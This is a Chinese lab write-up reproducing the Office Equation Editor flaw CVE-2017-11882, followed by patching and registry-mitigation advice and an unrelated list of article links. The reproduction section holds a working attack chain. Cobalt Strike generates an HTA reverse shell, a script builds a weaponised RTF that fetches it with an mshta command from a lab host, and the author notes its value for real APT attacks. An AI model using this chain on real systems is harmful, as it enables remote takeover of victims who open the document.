CVE-2017-11882漏洞复现
时间:2022-05-06
本文章向大家介绍CVE-2017-11882漏洞复现,主要内容包括0x00 前言、0x01 环境清单、0X02 复现过程、要生成一个rtf/doc文档,github上已有生成脚本、结果、0x03 修复建议、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。
0x00 前言
参考backlion师傅的PDF,记录一下这个过程。
2017年11月14日,微软发布了11月份的安全补丁更新,其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞(CVE-2017-11882)。该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。
由于漏洞影响面较广,漏洞披露后,金睛安全研究团队持续对漏洞相关攻击事件进行关注。11月19日,监控到了已有漏洞POC在网上流传,随即迅速对相关样本进行了分析。目前该样本全球仅微软杀毒可以检测。
- 漏洞影响版本:
- Office 365
- Microsoft Office 2000
- Microsoft Office 2003
- Microsoft Office 2007 Service Pack 3
- Microsoft Office 2010 Service Pack 2
- Microsoft Office 2013 Service Pack 1
- Microsoft Office 2016
0x01 环境清单
- WindowsServer 2008 (192.168.3.114)
- Office 2007
- MAC OSX(192.168.3.106)
0X02 复现过程
使用Cobalt Strike生成hta反弹shell
将生成的hta文档放入WebServer根目录:http://192.168.3.106/evil.hta
python webdav_exec_CVE-2017-11882.py -u http://192.168.3.106/evil.hta -e "mshta http://192.168.3.106/evil.hta" -o test.rtf
!!! Completed !!!
我(Cobalt Strike)本地监听了一个8081端口,用来接收客户端的Shell
要生成一个rtf/doc文档,github上已有生成脚本
webdav_exec_CVE-2017-11882.py
-> http://payloads.online/tools/cve-2017-11882/webdav_exec_CVE-2017-11882.py
生成rtf文档:
最后将test.rtf在目标机器上执行 =_=||
,其实可以实战的,对于APT的帮助很大
结果
目标机器上执行后,我们可以在Cobalt Strike看到来自客户端的会话
0x03 修复建议
1、微软已经对此漏洞做出了修复。
- 下载
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882
更新补丁进行修补 - 开启Windows Update功能,定期对系统进行自动更新
2、由于该公式编辑器已经17年未做更新,可能存在大量安全漏洞,建议在注册表中取消该模块的注册。
- 按下Win R组合键,打开cmd.exe
- 输入以下两条命令:
reg add “HKLMSOFTWAREMicrosoftOfficeCommonCOM Compatibility{0002CE02-0000-0000-C000-000000000046} ” /v “Compatibility Flags” /t REG_DWORD /d 0x400
- 温故而知新:设计模式之Builder
- 温故而知新:设计模式之单件模式(Singleton)
- sudo命令使用的几个场景
- .NET Core系列 : 2 、project.json 这葫芦里卖的什么药
- 关闭与恢复visual studio实时调试器
- linux系统下的权限知识梳理
- c#如何启动/干掉/查找 进程
- Android中Application的应用
- 孟昭莉博士:大数据大道之行
- .NET Core系列 :3 、使用多个项目
- 完整部署CentOS7.2+OpenStack+kvm 云平台环境(2)--云硬盘等后续配置
- 完整部署CentOS7.2+OpenStack+kvm 云平台环境(3)--为虚拟机指定固定ip
- ubuntu系统升级记录
- .NET Core系列 :4 测试
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- SAP Spartacus产品明细页面用Observable显示产品名称
- 关于rxjs里operators filter和map的详细讨论
- 用代码查看SAP Spartacus购物车内的行项目
- rxjs的map和switchMap在SAP Spartacus中的应用
- 用代码查看SAP Spartacus购物车内的行项目
- rxjs fromEvent的用法
- Python2和Python3的区别简单总结
- Django操作数据库
- Hive元数据服务MetaStore
- Linux---Shell脚本字符显示特殊颜色效果
- 快速学习-RocketMQ运维管理
- Django常用语句
- 快速学习-RocketMQ样例
- 快速学习-RocketMQ-“Request-Reply”特性
- 牛逼!Docker遇到Intellij IDEA,再次解放了生产力~